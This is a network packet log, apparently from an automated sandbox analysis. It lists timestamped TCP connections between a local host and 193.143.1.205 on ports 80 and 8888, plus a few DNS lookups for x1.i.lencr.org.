Jan 11, 2025 05:12:24.346539021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346539021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346544981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346566916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346575975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346585035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346609116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346621037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346647978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346649885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346649885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346659899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346681118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346694946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346734047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346734047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346751928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346762896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346785069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346798897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346824884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346824884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346833944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346852064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346879005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346889973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346918106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346919060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346919060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346937895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346990108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.362863064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363173962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363219023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363229990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363249063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363253117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363337994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363478899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363518953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363573074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363584042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363607883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363650084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363652945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363666058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363687038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363703012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363737106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363737106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363812923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363825083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363842964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363863945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363867998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363879919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363900900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363915920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363915920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363918066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363938093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363951921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363975048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.363976955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.363995075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.364032030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.364032030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.389688969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389724016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389734030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389739990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389746904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389767885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389806986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389817953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389841080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389951944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389961958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389971972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.389991045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.390005112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.390022993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.390036106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.390098095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.390098095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.402074099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402136087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402152061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402172089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402182102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402214050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402220964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.402226925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402251005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.402277946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.402277946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.402561903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.420391083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420413017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420433998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420444965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420468092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420480013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420485973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.420485973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.420500994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.420546055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.422702074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432420015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432435989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432465076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432476044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432492971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432508945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432516098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432538033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432549000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432569981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432570934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432569981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432590008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432600975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432626009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432636976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432651043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432651043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432665110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432676077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432703018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432715893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432734013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432734013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432734013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432780027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432790995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432816982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432826042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432832956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432847977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432852983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432857037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432857037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432862043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432898045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432945013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432950020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432950020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.432957888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.432991028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433001041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433017969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433033943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433125019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433135986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433156967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433177948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433185101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433192968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433212996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433223009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433232069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433232069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433249950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433260918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433283091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433294058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433295012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433294058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433316946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433337927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433347940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433348894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433391094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433398962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433406115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433423996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433458090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433468103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433470964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433470964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433495045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433499098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433511019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433527946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433604956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433615923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433631897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433659077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433674097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433682919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433690071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433690071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433690071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433702946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433710098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433754921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433765888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433773041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433787107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433842897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.433940887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433952093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433974981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.433984995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.434005976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.434005976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.434005976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.434020996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.434039116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.434093952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.434093952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450350046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450378895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450400114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450409889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450423956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450448036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450462103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450476885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450500965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450511932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450537920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450548887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450556040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450556040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450556040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450567961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450568914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450581074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450591087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450597048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.450673103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.450673103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.472342014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476538897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476567984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476577997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476600885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476607084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476619959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476646900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476659060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476659060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476665020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476679087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476701975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476716995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476738930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476738930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476744890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476757050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476777077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476820946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476820946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.476843119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476854086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.476953030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.482892990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.489006042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489047050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489057064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489088058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489104986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489108086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.489130020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489141941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489161968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.489171028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.489171028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.489227057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.507122040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507157087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507179022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507191896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507213116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507221937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.507221937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.507227898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507246971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.507272005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519416094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519457102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519481897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519499063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519506931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519524097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519542933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519553900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519582033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519592047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519592047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519593000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519592047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519624949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519638062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519644976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519659996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519665003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519671917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519696951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519763947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519774914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519782066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519797087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519809008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.519833088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.519833088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.564893007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.570935965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.590990067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.754076004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:25.300451994 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:25.305437088 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:25.305500984 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:25.306056976 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:25.310853958 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:26.112096071 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:26.158483982 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:26.707094908 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:13:00.669065952 CET	57166	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:13:00.673909903 CET	53	57166	162.159.36.2	192.168.2.8
Jan 11, 2025 05:13:00.674015045 CET	57166	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:13:00.678797960 CET	53	57166	162.159.36.2	192.168.2.8
Jan 11, 2025 05:13:01.128066063 CET	57166	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:13:01.133143902 CET	53	57166	162.159.36.2	192.168.2.8
Jan 11, 2025 05:13:01.133232117 CET	57166	53	192.168.2.8	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:12:38.209487915 CET	59892	53	192.168.2.8	1.1.1.1
Jan 11, 2025 05:12:52.213623047 CET	51644	53	192.168.2.8	1.1.1.1
Jan 11, 2025 05:13:00.668452978 CET	53	63106	162.159.36.2	192.168.2.8
Jan 11, 2025 05:13:01.146255970 CET	53	58816	1.1.1.1	192.168.2.8
Jan 11, 2025 05:13:04.521536112 CET	54839	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:12:38.209487915 CET	192.168.2.8	1.1.1.1	0xc393	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:12:52.213623047 CET	192.168.2.8	1.1.1.1	0xb5a7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:04.521536112 CET	192.168.2.8	1.1.1.1	0x8eda	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
